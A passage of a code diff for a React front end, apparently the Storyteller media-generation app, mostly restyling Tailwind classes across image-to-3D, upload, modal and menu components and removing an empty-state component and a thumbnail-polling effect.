<div className="absolute inset-0 flex items-center justify-center bg-black/20">
<div className="h-4 w-4 animate-spin rounded-full border-2 border-white/30 border-t-white" />
<div className="h-4 w-4 animate-spin rounded-full border-2 border-white/30 border-t-primary" />
</div>
)}
{!img.isUploading && (
<button
type="button"
className="absolute right-[2px] top-[2px] flex h-4 w-4 cursor-pointer items-center justify-center rounded-[3px] bg-black/60 text-white opacity-0 transition-colors hover:bg-red/70 group-hover:opacity-100"
className="absolute right-[2px] top-[2px] flex h-4 w-4 cursor-pointer items-center justify-center rounded-full bg-black/50 text-white opacity-0 backdrop-blur-md transition-colors hover:bg-red/70 group-hover:opacity-100"
onClick={(e) => {
e.stopPropagation();
removeWorldImage(img.id);
@@ -822,7 +820,7 @@ export const ImageTo3DExperience = ({
<Button
variant="action"
className={twMerge(
"aspect-square overflow-hidden rounded-[3px] border border-dashed border-black/15 bg-white/5 transition-all hover:border-white/40 hover:bg-white/10 dark:border-white/25",
"aspect-square overflow-hidden rounded-lg border-2 border-dashed border-black/5 bg-ui-controls/40 transition-all hover:bg-ui-controls/60 dark:border-white/25",
hasResults ? "w-10" : "w-14",
)}
onClick={() => worldFileInputRef.current?.click()}
@@ -838,7 +836,7 @@ export const ImageTo3DExperience = ({
);
const imageCountRow = (
<div className="flex items-center justify-center gap-2 font-mono text-[11px] tabular-nums text-base-fg/40">
<div className="flex items-center justify-center gap-2 text-xs text-base-fg/40">
<span>
{worldImages.length}/{MAX_WORLD_IMAGES} images
</span>
@@ -867,7 +865,7 @@ export const ImageTo3DExperience = ({
<textarea
ref={worldTextareaRef}
rows={1}
className="flex-1 resize-none overflow-y-auto rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm text-base-fg placeholder-base-fg/60 transition-colors focus:border-white/60 focus:outline-none"
className="flex-1 resize-none overflow-y-auto rounded-lg bg-white/5 px-3 py-2 text-sm text-base-fg placeholder-base-fg/60 focus:outline-none focus:ring-2 focus:ring-primary/60"
value={worldPrompt}
placeholder="Describe world (optional)..."
onChange={(e) => setWorldPrompt(e.target.value)}
@@ -889,7 +887,7 @@ export const ImageTo3DExperience = ({
<textarea
ref={worldTextareaRef}
rows={2}
className="w-full resize-none overflow-y-auto rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2.5 text-base text-base-fg placeholder-base-fg/60 transition-colors focus:border-white/60 focus:outline-none"
className="w-full resize-none overflow-y-auto rounded-lg bg-white/5 px-3 py-2.5 text-base text-base-fg placeholder-base-fg/60 focus:outline-none focus:ring-2 focus:ring-primary/60"
style={{ maxHeight: "5em" }}
value={worldPrompt}
placeholder="Describe your 3D world (optional)..."
@@ -909,7 +907,7 @@ export const ImageTo3DExperience = ({
results.find((r) => r.id === selectedResultId) || results[0];
return (
<div className="flex h-[calc(100vh-56px)] w-full bg-ui-background text-base-fg">
<div className="bg-ui-panel-gradient flex h-[calc(100vh-56px)] w-full bg-ui-panel text-base-fg">
{backgroundImage && !hasResults && (
<>
<div className="pointer-events-none fixed inset-0 z-[1] overflow-hidden bg-[radial-gradient(50%_50%_at_50%_50%,_transparent_49%,_rgb(var(--st-controls-rgb)_/_var(--st-gallery-vignette-alpha))_100%)]" />
@@ -930,12 +928,9 @@ export const ImageTo3DExperience = ({
<div className="relative z-10 h-full w-full p-8">
{!hasResults && (
<div className="pointer-events-none absolute left-0 top-[calc(50%-280px)] flex w-full justify-center">
<CreateEmptyState
title={title}
subtitle={subtitle}
className="py-8 sm:py-8"
/>
<div className="pointer-events-none absolute left-0 top-[calc(50%-280px)] w-full text-center">
<h1 className="mb-3 text-7xl font-bold tracking-tight">{title}</h1>
<p className="text-xl text-base-fg/70">{subtitle}</p>
</div>
)}
@@ -949,7 +944,7 @@ export const ImageTo3DExperience = ({
style={{ height: `calc(100vh - ${bottomOffsetPx + 80}px)` }}
>
{/* Left: Viewer */}
<div className="relative h-full overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="glass relative h-full overflow-hidden rounded-xl border border-ui-panel-border">
<Viewer3D
key={activeResult?.id}
modelUrl={activeResult?.modelUrl}
@@ -1007,15 +1002,13 @@ export const ImageTo3DExperience = ({
</div>
{/* Right: History List */}
<div className="flex h-full flex-col overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="flex items-center justify-between border-b border-ui-panel-border px-4 py-3">
<h3 className="font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
History
</h3>
<div className="glass flex h-full flex-col overflow-hidden rounded-xl border border-ui-panel-border">
<div className="flex items-center justify-between p-4">
<h3 className="font-semibold text-base-fg/80">History</h3>
{results.length > 0 && (
<button
onClick={resetResults}
className="rounded-[3px] border border-red/40 bg-red/10 px-3 py-1 text-xs text-white/70 transition-colors hover:bg-red/20"
className="rounded-md bg-red/20 px-3 py-1 text-xs text-white/70 transition-colors hover:bg-red/30"
>
Clear Session
</button>
@@ -1031,13 +1024,13 @@ export const ImageTo3DExperience = ({
key={result.id}
onClick={() => setSelectedResultId(result.id)}
className={twMerge(
"group flex w-full items-center gap-3 rounded-none border p-2 text-left transition-all hover:bg-white/5",
"group flex w-full items-center gap-3 rounded-xl border p-2 text-left transition-all hover:bg-ui-controls/40",
isSelected
? "border-white bg-white/10"
: "border-white/10 bg-transparent hover:border-white/30",
? "border-primary/50 bg-primary/10"
: "border-transparent bg-ui-controls/20",
)}
>
<div className="relative aspect-square h-14 w-14 shrink-0 overflow-hidden border border-white/10 bg-black/30">
<div className="relative aspect-square h-14 w-14 shrink-0 overflow-hidden rounded-lg bg-black/30 ring-1 ring-white/5">
{result.previewUrl ? (
<img
src={result.previewUrl}
@@ -1056,7 +1049,7 @@ export const ImageTo3DExperience = ({
)}
{isPending && (
<div className="absolute inset-0 flex items-center justify-center bg-black/30">
<div className="h-5 w-5 animate-spin rounded-full border-2 border-white/20 border-t-white" />
<div className="h-5 w-5 animate-spin rounded-full border-2 border-white/20 border-t-primary" />
</div>
)}
</div>
@@ -1070,7 +1063,7 @@ export const ImageTo3DExperience = ({
Generating…
</span>
) : (
<span className="font-mono tabular-nums text-base-fg/45">
<span className="text-base-fg/45">
{formatTime(result.timestamp)}
</span>
)}
@@ -1100,7 +1093,7 @@ export const ImageTo3DExperience = ({
<div ref={promptContentRef}>
<div
className={twMerge(
"glass w-full",
"glass w-full rounded-xl shadow-2xl ring-1 ring-white/10",
hasResults ? "p-3" : "p-5",
)}
>
@@ -1145,7 +1138,7 @@ export const ImageTo3DExperience = ({
activeTab={activeMode}
onTabChange={(tabId) => setActiveMode(tabId as Mode)}
className="w-fit"
indicatorClassName="bg-white/15"
indicatorClassName="bg-primary/25"
/>
</div>
)}
@@ -1202,12 +1195,12 @@ export const ImageTo3DExperience = ({
{previewImage && (
<div
className="fixed inset-0 z-50 flex items-center justify-center bg-black/90"
className="fixed inset-0 z-50 flex items-center justify-center bg-black/80 backdrop-blur-sm"
onClick={() => setPreviewImage(null)}
>
<button
type="button"
className="absolute right-4 top-4 flex h-8 w-8 items-center justify-center rounded-[3px] border border-white/15 bg-black/60 text-white transition-colors hover:border-white/30 hover:bg-black"
className="absolute right-4 top-4 flex h-8 w-8 items-center justify-center rounded-full bg-black/60 text-white transition-colors hover:bg-black/80"
onClick={() => setPreviewImage(null)}
>
<XIcon className="h-4 w-4" />
@@ -1215,7 +1208,7 @@ export const ImageTo3DExperience = ({
<img
src={previewImage}
alt="Preview"
className="max-h-[80vh] max-w-[80vw] border border-white/15 object-contain"
className="max-h-[80vh] max-w-[80vw] rounded-xl object-contain shadow-2xl"
onClick={(e) => e.stopPropagation()}
/>
</div>
@@ -1,56 +0,0 @@
import { type ReactNode } from "react";
import { twMerge } from "tailwind-merge";
const CORNERS = [
"top-0 left-0",
"top-0 right-0",
"bottom-0 left-0",
"bottom-0 right-0",
];
interface CreateEmptyStateProps {
title: string;
subtitle: string;
children?: ReactNode;
compact?: boolean;
className?: string;
}
/** A quiet editorial section with a fine border and corner registration marks. */
export function CreateEmptyState({
title,
subtitle,
children,
compact = false,
className,
}: CreateEmptyStateProps) {
return (
<section
className={twMerge(
"create-empty-section relative w-full max-w-3xl px-6 text-left sm:px-10",
compact ? "py-8" : "py-10 sm:py-14",
className,
)}
>
<h1
className={twMerge(
"text-balance font-display leading-[1.05] tracking-[-0.035em] text-ui-ink",
compact ? "text-2xl" : "text-3xl md:text-5xl",
)}
>
{title}
</h1>
<p className="mt-4 max-w-xl text-pretty text-sm leading-relaxed text-white/60 sm:text-base">
{subtitle}
</p>
{children && <div className="mt-6">{children}</div>}
{CORNERS.map((corner) => (
<span
key={corner}
aria-hidden="true"
className={`frame-corner-mark ${corner}`}
/>
))}
</section>
);
}
@@ -1,16 +1,15 @@
import { useEffect, useState, type ReactNode } from "react";
import { twMerge } from "tailwind-merge";
import { CreateEmptyState } from "./CreateEmptyState";
// Shared page chrome for the desktop Generate Image / Generate Video pages,
// mirroring the webapp's CreateMediaPageShell: a centered empty-state panel,
// and a scrollable generation feed (padded past the fixed promptbox) once
// there is anything to show.
// mirroring the webapp's CreateMediaPageShell: a centered hero over the
// decorative background, and a scrollable generation feed (padded past the
// fixed promptbox) once there is anything to show.
//
// The empty state (and optional background) behave like a splash screen:
// they stay up while the feed is still loading (pages remount on tab
// switches, so this covers the reload) and fade out once content arrives.
// With a genuinely empty library they simply stay.
// The hero + background behave like a splash screen: they stay up while the
// feed is still loading (pages remount on tab switches, so this covers the
// reload) and fade out once content arrives. With a genuinely empty library
// they simply stay — they ARE the empty state.
const SPLASH_FADE_MS = 700;
@@ -18,8 +17,7 @@ interface DesktopCreatePageShellProps {
hasContent: boolean;
emptyStateTitle: string;
emptyStateSubtitle: string;
/** Optional decorative page background (fixed-position); fades out with
* the empty state. */
/** Decorative page background (fixed-position); fades out with the hero. */
background?: ReactNode;
/** Height of the fixed promptbox area, used to pad the feed's bottom. */
bottomOffset: number;
@@ -57,11 +55,11 @@ export function DesktopCreatePageShell({
}, [hasContent, splashState]);
return (
<div className="flex h-[calc(100vh-56px)] w-full bg-ui-background text-white">
<div className="flex h-[calc(100vh-56px)] w-full bg-ui-background">
<div className="relative h-full w-full">
{hasContent && (
<div
className="h-full w-full overflow-y-auto pt-0.5"
className="h-full w-full overflow-y-auto pt-4"
style={{ paddingBottom: bottomOffset + 24 }}
>
{listContent}
@@ -75,14 +73,15 @@ export function DesktopCreatePageShell({
splashState === "fading" ? "opacity-0" : "opacity-100",
)}
>
<div
className="relative z-20 flex h-full w-full items-center justify-center px-6"
style={{ paddingBottom: bottomOffset }}
>
<CreateEmptyState
title={emptyStateTitle}
subtitle={emptyStateSubtitle}
/>
<div className="flex h-full w-full flex-col items-center justify-center pb-52">
<div className="relative z-20 flex flex-col items-center justify-center text-center drop-shadow-xl">
<h1 className="text-7xl font-bold text-base-fg">
{emptyStateTitle}
</h1>
<span className="pt-2 text-xl text-base-fg opacity-80">
{emptyStateSubtitle}
</span>
</div>
</div>
{background}
</div>
@@ -93,7 +92,7 @@ export function DesktopCreatePageShell({
{hasContent && (
<div
aria-hidden
className="pointer-events-none absolute inset-x-0 bottom-0 z-10 h-48 bg-gradient-to-t from-ui-background to-transparent"
className="pointer-events-none absolute inset-x-0 bottom-0 z-10 h-64 bg-gradient-to-t from-ui-background to-transparent"
/>
)}
@@ -180,7 +180,7 @@ function SelectionDownloadBar({
type="button"
onClick={handleDownload}
disabled={isDownloading || selectedItems.length === 0}
className="flex items-center gap-2 border border-white/15 bg-ui-controls/60 px-3 py-1.5 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-white transition-colors hover:bg-ui-controls/90 focus:outline-none focus-visible:ring-2 focus-visible:ring-white/60 disabled:opacity-60"
className="flex items-center gap-2 rounded-full bg-ui-controls/60 px-3 py-1.5 text-sm font-medium text-white transition-colors hover:bg-ui-controls/90 focus:outline-none focus-visible:ring-2 focus-visible:ring-primary disabled:opacity-60"
>
<DynamicIcon
icon={isDownloading ? LoaderCircleIcon : ArrowDownToLineIcon}
@@ -226,8 +226,8 @@ function ItemActions({
const buttonClass =
variant === "card"
? "flex h-7 w-7 items-center justify-center text-white/85 transition-colors hover:bg-white/15 hover:text-white disabled:opacity-60"
: "flex h-8 w-8 items-center justify-center text-white/70 transition-colors hover:bg-white/10 hover:text-white disabled:opacity-60";
? "flex h-7 w-7 items-center justify-center rounded-md text-white/85 transition-colors hover:bg-white/15 hover:text-white disabled:opacity-60"
: "flex h-8 w-8 items-center justify-center rounded-md text-white/70 transition-colors hover:bg-white/10 hover:text-white disabled:opacity-60";
const handleRecreate = useCallback(
async (e: React.MouseEvent) => {
@@ -305,7 +305,7 @@ function ItemActions({
aria-label="Make Video"
className={buttonClass}
>
<VideoIcon className="text-sm" />
<VideoIcon className="text-sm" />
</button>
</Tooltip>
)}
@@ -2,15 +2,12 @@ import toast from "react-hot-toast";
import {
FilterMediaClasses,
PromptsApi,
} from "@storyteller/api";
import type { Prompts } from "@storyteller/api";
import {
DownloadUrl,
useModelsStore,
downloadUrlToPath,
pickDownloadDirectory,
promptDownloadLocationIfNeeded,
} from "@storyteller/tauri-api";
} from "@storyteller/api";
import type { Prompts } from "@storyteller/api";
import { DownloadUrl, useModelsStore } from "@storyteller/tauri-api";
import {
RefImage,
RefVideo,
@@ -35,11 +35,6 @@ import {
const POLL_INTERVAL_MS = 5000;
// Newly completed videos that arrived without a thumbnail URL are looked up
// again on this interval, for up to MISSING_THUMBNAIL_GIVE_UP_MS.
const MISSING_THUMBNAIL_POLL_MS = 15_000;
const MISSING_THUMBNAIL_GIVE_UP_MS = 10 * 60_000;
const FAILED_STATUSES = new Set([
"complete_failure",
"attempt_failed",
@@ -202,71 +197,6 @@ export function useDesktopGenerationFeed(options: {
load();
});
// Newly completed videos occasionally arrive without a thumbnail URL (the
// Rust media-file lookup fails open). The library copy would have it, but the
// newly completed item takes precedence in the feed, so look it up again
// until the URL shows up. GalleryThumbnail then re-checks the image itself.
const newlyCompletedRef = useRef(newlyCompleted);
newlyCompletedRef.current = newlyCompleted;
const missingThumbnailSinceRef = useRef<Map<string, number>>(new Map());
useEffect(() => {
if (mediaType !== "video") return;
let cancelled = false;
let running = false;
const lookUpMissingThumbnails = async () => {
if (running) return; // A slow round is still going.
running = true;
try {
await lookUpMissingThumbnailsOnce();
} finally {
running = false;
}
};
const lookUpMissingThumbnailsOnce = async () => {
const now = Date.now();
const missing = newlyCompletedRef.current.filter((item) => {
if (item.thumbnail) return false;
const since = missingThumbnailSinceRef.current.get(item.id) ?? now;
missingThumbnailSinceRef.current.set(item.id, since);
return now - since < MISSING_THUMBNAIL_GIVE_UP_MS;
});
for (const item of missing) {
const response = await mediaApiRef.current.GetMediaFileByToken({
mediaFileToken: item.id,
});
if (cancelled) return;
const links = response.success
? (response.data?.media_links as VideoMediaLinks | undefined)
: undefined;
// Without a preview or template, getMediaThumbnail would fall back to
// the .mp4 itself, which an <img> can't show. Try again next round.
if (!links?.maybe_video_previews?.animated && !links?.maybe_thumbnail_template) {
continue;
}
const thumbnail = getMediaThumbnail(links, "video", {
size: THUMBNAIL_SIZES.LARGE,
});
const stillThumbnail = getMediaStillThumbnail(links, {
size: THUMBNAIL_SIZES.LARGE,
});
setNewlyCompleted((prev) =>
prev.map((i) =>
i.id === item.id ? { ...i, thumbnail, stillThumbnail } : i,
),
);
}
};
const intervalId = setInterval(lookUpMissingThumbnails, MISSING_THUMBNAIL_POLL_MS);
return () => {
cancelled = true;
clearInterval(intervalId);
};
}, [mediaType]);
// Poll + reload on Tauri generation events and local "task-queue-update"
// dispatches (fired by the pages right after enqueueing).
useEffect(() => {
@@ -319,20 +249,6 @@ export function useDesktopGenerationFeed(options: {
};
}
// ── Types ───────────────────────────────────────────────────────────────────
// The media-file API's link fields used for video thumbnails. (The shared
// MediaFile type predates these fields.)
interface VideoMediaLinks {
cdn_url?: string | null;
maybe_thumbnail_template?: string | null;
maybe_video_previews?: {
animated?: string | null;
still?: string | null;
still_thumbnail_template?: string | null;
} | null;
}
// ── Task mapping helpers ────────────────────────────────────────────────────
function getTaskMediaType(t: TaskQueueItem): "image" | "video" | "other" {
@@ -106,8 +106,8 @@ export const UploadEntryCard = ({
return (
<div
className={twMerge(
"relative flex h-full flex-col items-center justify-center gap-6 overflow-hidden rounded-[3px] border border-dashed border-white/15 bg-ui-background p-8 text-center transition-colors hover:border-white/40",
isDragActive && "border-white bg-white/10 hover:border-white",
"bg-ui-background/60 relative flex h-full flex-col items-center justify-center gap-8 overflow-hidden rounded-2xl border-2 border-dashed border-ui-panel-border p-10 text-center transition-colors",
isDragActive && "border-primary/80 bg-primary/5",
disabled && "pointer-events-none opacity-60",
)}
onDragEnter={handleDragEnter}
@@ -124,28 +124,35 @@ export const UploadEntryCard = ({
onChange={handleFileChange}
disabled={disabled}
/>
<div className="flex flex-col items-center gap-4">
<div
className={twMerge(
"flex h-14 w-14 items-center justify-center border",
accentBackgroundClass,
accentBorderClass,
)}
>
<DynamicIcon icon={icon} className="text-xl text-white" />
<div className="flex flex-col items-center gap-6">
<div className="relative">
<div
className={twMerge(
"relative flex h-32 w-32 items-center justify-center rounded-2xl border-2 shadow-xl backdrop-blur-sm",
accentBackgroundClass,
accentBorderClass,
)}
>
<DynamicIcon
icon={icon}
className="text-5xl text-white drop-shadow-lg"
/>
</div>
</div>
<div>
<h3 className="text-lg font-semibold text-base-fg">{title}</h3>
<p className="mx-auto mt-1 max-w-md text-sm text-base-fg/60">
<div className="space-y-3">
<h3 className="text-4xl font-bold tracking-tight text-base-fg">
{title}
</h3>
<p className="mx-auto max-w-md text-base leading-relaxed text-base-fg/70">
{description}
</p>
</div>
<div className="mt-2 flex flex-wrap justify-center gap-2">
<div className="mt-4 flex flex-wrap justify-center gap-4">
<Button
variant="primary"
icon={primaryIcon}
onClick={handlePrimaryClick}
className="px-3 py-2"
className="px-8 py-3 text-base font-semibold shadow-lg"
disabled={disabled}
>
{primaryLabel}
@@ -155,7 +162,7 @@ export const UploadEntryCard = ({
variant="action"
icon={secondaryIcon}
onClick={onSecondaryClick}
className="px-3 py-2"
className="border-2 px-8 py-3 text-base font-semibold"
disabled={disabled}
>
{secondaryLabel}
@@ -166,7 +173,7 @@ export const UploadEntryCard = ({
variant="action"
icon={tertiaryIcon}
onClick={onTertiaryClick}
className="px-3 py-2"
className="border-2 px-8 py-3 text-base font-semibold"
disabled={disabled}
>
{tertiaryLabel}
@@ -24,7 +24,7 @@ export const ConfirmationModal = ({
onClose,
onOk,
okText = "OK",
okColor = "",
okColor = "bg-brand-success",
onCancel,
cancelText = "Cancel",
canHide,
@@ -52,7 +52,7 @@ export const ConfirmationModal = ({
leaveFrom="opacity-100"
leaveTo="opacity-0"
>
<div className="fixed inset-0 bg-black/80" />
<div className="fixed inset-0 bg-black/40" />
</Transition.Child>
<div className="fixed inset-0 flex w-screen items-center justify-center p-4">
<Transition.Child
@@ -64,15 +64,15 @@ export const ConfirmationModal = ({
leaveFrom="opacity-100 scale-100"
leaveTo="opacity-0 scale-95"
>
<Dialog.Panel className="w-full max-w-md transform overflow-hidden border border-white/15 bg-ui-modal p-5 text-left align-middle transition-all">
<Dialog.Panel className="w-full max-w-md transform overflow-hidden rounded-xl border border-ui-panel-border bg-ui-panel p-5 text-left align-middle shadow-xl transition-all">
<Dialog.Title
as="h4"
className="mb-4 font-display text-xl tracking-tight text-white"
className="mb-4 text-xl font-bold text-white"
>
{title}
</Dialog.Title>
<div className="mt-2 text-sm leading-relaxed text-white/70">{text}</div>
<div className="mt-2">{text}</div>
{canHide && (
<div className="mt-2">
<Checkbox id="hide-dialog" label="Do not show this again" />
@@ -84,7 +84,7 @@ export const ConfirmationModal = ({
<Button
type="button"
onClick={onCancel}
className="px-3 py-2"
className="rounded-lg px-3 py-2"
variant="secondary"
>
{cancelText}
@@ -94,7 +94,7 @@ export const ConfirmationModal = ({
<Button
type="button"
onClick={handleOk}
className={[okColor, "px-3 py-2"].join(" ").trim()}
className={[okColor, "rounded-lg px-3 py-2"].join(" ")}
>
{okText}
</Button>
@@ -37,11 +37,11 @@ export const CostModal = ({ credits = 1, onClose }: CostModalProps) => {
transition={{ duration: 0.1, ease: "easeOut" }}
drag
dragMomentum={false}
className="pointer-events-auto z-10 flex w-72 flex-col overflow-hidden border border-white/15 bg-ui-panel"
className="pointer-events-auto z-10 flex w-72 flex-col overflow-hidden rounded-xl border border-ui-panel-border bg-ui-panel shadow-2xl"
>
<div className="flex cursor-move select-none items-center justify-between border-b border-white/15 px-4 py-3">
<div className="flex items-center gap-2 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg">
<CoinsIcon className="text-primary" />
<div className="bg-ui-panel-header flex cursor-move select-none items-center justify-between border-b border-ui-panel-border px-4 py-3">
<div className="flex items-center gap-2 text-xs font-bold uppercase tracking-wider text-base-fg">
<CoinsIcon className="text-yellow-400" />
Cost Breakdown
</div>
<button
@@ -53,10 +53,10 @@ export const CostModal = ({ credits = 1, onClose }: CostModalProps) => {
</div>
<div className="space-y-4 bg-ui-panel p-4">
<div className="border border-white/15 bg-white/5 p-3">
<div className="border-ui-controls-border rounded-lg border bg-ui-controls/50 p-3">
<div className="mb-1 flex items-center justify-between">
<span className="text-sm text-base-fg/80">Total Cost</span>
<span className="text-lg font-semibold tabular-nums tracking-tight text-base-fg">
<span className="text-lg font-bold text-base-fg">
{credits} Credits
</span>
</div>
@@ -66,7 +66,7 @@ export const CostModal = ({ credits = 1, onClose }: CostModalProps) => {
</div>
<div className="space-y-1">
<label className="font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<label className="text-xs font-medium text-base-fg/80">
Currency
</label>
<Select
@@ -77,7 +77,7 @@ export const CostModal = ({ credits = 1, onClose }: CostModalProps) => {
/>
</div>
<div className="mt-2 border-t border-white/15 pt-3 text-center font-mono text-[10px] uppercase tracking-[0.12em] text-base-fg/40">
<div className="mt-2 border-t border-ui-panel-border pt-3 text-center text-[10px] text-base-fg/40">
1 Credit = $0.01 USD
</div>
</div>
@@ -84,7 +84,7 @@ export const UploadFilesMedia = ({
<h6 className="z-10 text-red">{assetFile.error}</h6>
)}
<div className="relative m-auto aspect-square w-full overflow-hidden border border-white/15 bg-ui-controls">
<div className="relative m-auto aspect-square w-full overflow-hidden rounded-lg bg-brand-secondary">
{!assetFile.value && (
<h6 className="absolute left-0 top-1/2 -mt-5 w-full text-center">
File Preview
@@ -85,7 +85,7 @@ export const UploadImageMedia = ({
<H6 className="z-10 text-red"> {assetFile.error} </H6>
)}
<div className="relative m-auto aspect-square w-full overflow-hidden border border-white/15 bg-ui-controls">
<div className="relative m-auto aspect-square w-full overflow-hidden rounded-lg bg-brand-secondary">
{!assetFile.value && (
<H6 className="absolute left-0 top-1/2 -mt-5 w-full text-center">
File Preview
@@ -61,7 +61,7 @@ export function UploadImageMediaModal({
return (
<>
<LoadingDots className="mb-1 bg-transparent" />
<div className="hud-label w-full text-center text-base-fg/50">Uploading...</div>
<div className="w-100 text-center opacity-50">Uploading...</div>
</>
);
case UploaderStates.success:
@@ -59,7 +59,7 @@ export function UploadModalMedia({
return (
<>
<LoadingDots className="mb-1 bg-transparent" />
<div className="hud-label w-full text-center text-base-fg/50">Uploading...</div>
<div className="w-100 text-center opacity-50">Uploading...</div>
</>
);
case UploaderStates.success:
@@ -20,14 +20,14 @@ export function ErrorDialog() {
<Modal
title={errorDialogTitle}
titleIcon={TriangleAlertIcon}
titleIconClassName="text-red-400"
titleIconClassName="text-brand-primary"
isOpen={showErrorDialog}
onClose={() => setShowErrorDialog(false)}
showClose={false}
>
<div>
{errorDialogMessage}
<div className="mt-4 flex justify-end">
<div className="flex justify-end">
<Button
type="button"
onClick={() => setShowErrorDialog(false)}
@@ -3,10 +3,8 @@ import { twMerge } from "tailwind-merge";
import {
useGenerateApps,
useEditApps,
getAppCardPalette,
getBadgeStyles,
goToApp,
type FullAppItem,
} from "~/config/appMenu";
export const AppsQuickMenu = () => {
@@ -14,68 +12,101 @@ export const AppsQuickMenu = () => {
const editApps = useEditApps();
return (
<div className="grid w-[680px] grid-cols-2 gap-3">
<AppsQuickMenuSection title="Create" apps={generateApps} />
<AppsQuickMenuSection title="Edit" apps={editApps} />
<div>
<h3 className="mb-2 px-2 text-xs font-semibold opacity-50">Create</h3>
<div className="space-y-0.5">
{generateApps.map((app) => (
<button
key={app.id}
onClick={() => goToApp(app.action)}
disabled={!app.action}
className={twMerge(
"group flex w-full items-center gap-3 rounded-md px-2 py-2 text-left transition-colors",
app.action
? "cursor-pointer hover:bg-base-fg/10"
: "cursor-default opacity-60",
)}
>
<div
className={twMerge(
"flex h-8 w-8 shrink-0 items-center justify-center rounded-md transition-colors",
app.color || "bg-ui-panel",
)}
>
<DynamicIcon icon={app.icon} className="text-sm" />
</div>
<div className="min-w-0 flex-1">
<div className="flex items-center gap-1.5">
<div className="truncate text-[13px] font-medium">
{app.label}
</div>
{app.badge && (
<span
className={twMerge(
"shrink-0 rounded-full px-2 py-1 text-[9px] font-bold uppercase tracking-wider",
getBadgeStyles(app.badge),
)}
>
{app.badge}
</span>
)}
</div>
<div className="truncate text-[11px] opacity-60">
{app.description}
</div>
</div>
</button>
))}
</div>
</div>
<div>
<h3 className="mb-2 px-2 text-xs font-semibold opacity-50">Edit</h3>
<div className="space-y-0.5">
{editApps.map((app) => (
<button
key={app.id}
onClick={() => goToApp(app.action)}
disabled={!app.action}
className={twMerge(
"group flex w-full items-center gap-3 rounded-md px-2 py-2 text-left transition-colors",
app.action
? "cursor-pointer hover:bg-base-fg/10"
: "cursor-default opacity-60",
)}
>
<div
className={twMerge(
"flex h-8 w-8 shrink-0 items-center justify-center rounded-md transition-colors",
app.color || "bg-ui-panel",
)}
>
<DynamicIcon icon={app.icon} className="text-sm" />
</div>
<div className="min-w-0 flex-1">
<div className="flex items-center gap-1.5">
<div className="truncate text-[13px] font-medium">
{app.label}
</div>
{app.badge && (
<span
className={twMerge(
"shrink-0 rounded-full px-2 py-0.5 text-[10px] font-bold uppercase tracking-wider",
getBadgeStyles(app.badge),
)}
>
{app.badge}
</span>
)}
</div>
<div className="truncate text-[11px] opacity-60">
{app.description}
</div>
</div>
</button>
))}
</div>
</div>
</div>
);
};
const AppsQuickMenuSection = ({
title,
apps,
}: {
title: string;
apps: FullAppItem[];
}) => (
<div>
<h3 className="hud-label mb-2 px-2 text-base-fg/50">{title}</h3>
<div className="space-y-0.5">
{apps.map((app) => {
const palette = getAppCardPalette(app.id);
return (
<button
key={app.id}
onClick={() => goToApp(app.action)}
disabled={!app.action}
className={twMerge(
"group flex w-full items-center gap-3 rounded-[3px] px-2 py-2 text-left transition-colors",
app.action
? "cursor-pointer hover:bg-white/[0.08]"
: "cursor-default opacity-60",
)}
>
<div
className={twMerge(
"flex h-8 w-8 shrink-0 items-center justify-center border transition-colors",
palette.iconBg,
palette.iconColor,
)}
>
<DynamicIcon icon={app.icon} className="text-sm" />
</div>
<div className="min-w-0 flex-1">
<div className="flex items-center gap-1.5">
<div className="truncate text-[13px] font-medium">
{app.label}
</div>
{app.badge && (
<span
className={twMerge(
"shrink-0 border px-1.5 py-0.5 font-mono text-[9px] font-semibold uppercase leading-none tracking-[0.12em]",
getBadgeStyles(app.badge),
)}
>
{app.badge}
</span>
)}
</div>
<div className="truncate text-[11px] text-base-fg/60">
{app.description}
</div>
</div>
</button>
);
})}
</div>
</div>
);
@@ -1,6 +1,7 @@
import { useSignals } from "@preact/signals-react/runtime";
import { AUTH_STATUS } from "~/enums";
import { authentication } from "~/signals";
import { Button } from "@storyteller/ui-button";
// import ProfileDropdown from "./ProfileDropdown";
export const AuthButtons = ({
@@ -18,14 +19,15 @@ export const AuthButtons = ({
return (
<>
<div className="flex items-center gap-2">
<button
className="flex h-8 items-center gap-1.5 rounded-[3px] bg-white px-3.5 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-black transition-colors hover:bg-white/80"
<span className="text-white/20">|</span>
<Button
className="h-[38px]"
onClick={() => {
loginSignUpPressed();
}}
>
Login / Sign Up
</button>
</Button>
</div>
</>
);
@@ -56,20 +56,20 @@ export default function ProfileDropdown() {
>
<Menu.Items
static
className="absolute right-0 z-50 mt-2 w-48 origin-top-right overflow-hidden rounded-[3px] border border-white/15 bg-[#101014] focus:outline-none"
className="absolute right-[-5px] mt-2.5 w-36 overflow-hidden rounded-lg bg-brand-secondary shadow-lg focus:outline-none"
>
<Menu.Item key={0}>
{({ active }) => (
<a
className={twMerge(
"group flex w-full items-center gap-2 px-4 py-2 text-start text-sm text-white/70 transition-colors",
active && "bg-white/10",
"duration-50 group flex w-full items-center gap-2 bg-action/60 px-3 py-[10px] text-start text-sm font-medium text-white transition-all",
active && "bg-action-500/80",
)}
href={profileUrl}
target="_blank"
rel="noreferrer"
>
<UserIcon className="text-[11px] text-white/50" />
<UserIcon />
My Profile
</a>
)}
@@ -79,15 +79,12 @@ export default function ProfileDropdown() {
{({ active }) => (
<button
className={twMerge(
"group flex w-full items-center gap-2 px-4 py-2 text-start text-sm text-white/70 transition-colors",
active && "bg-white/10",
"duration-50 group flex w-full items-center gap-2 bg-action/60 px-3 py-[10px] text-start text-sm font-medium text-white transition-all",
active && "bg-action-500/80",
)}
onClick={() => option.onClick()}
>
<DynamicIcon
icon={option.icon}
className="text-[11px] text-white/50"
/>
<DynamicIcon icon={option.icon} />
{option.label}
</button>
)}
@@ -1,11 +1,12 @@
import { useState } from "react";
import { twMerge } from "tailwind-merge";
import { useSignals } from "@preact/signals-react/runtime";
import { ChevronRightIcon, LoaderCircleIcon, PencilIcon } from "lucide-react";
import { LoaderCircleIcon, PencilIcon } from "lucide-react";
import { scene, signalScene, authentication } from "~/signals";
import { usePageSceneStore } from "@storyteller/ui-pagescene";
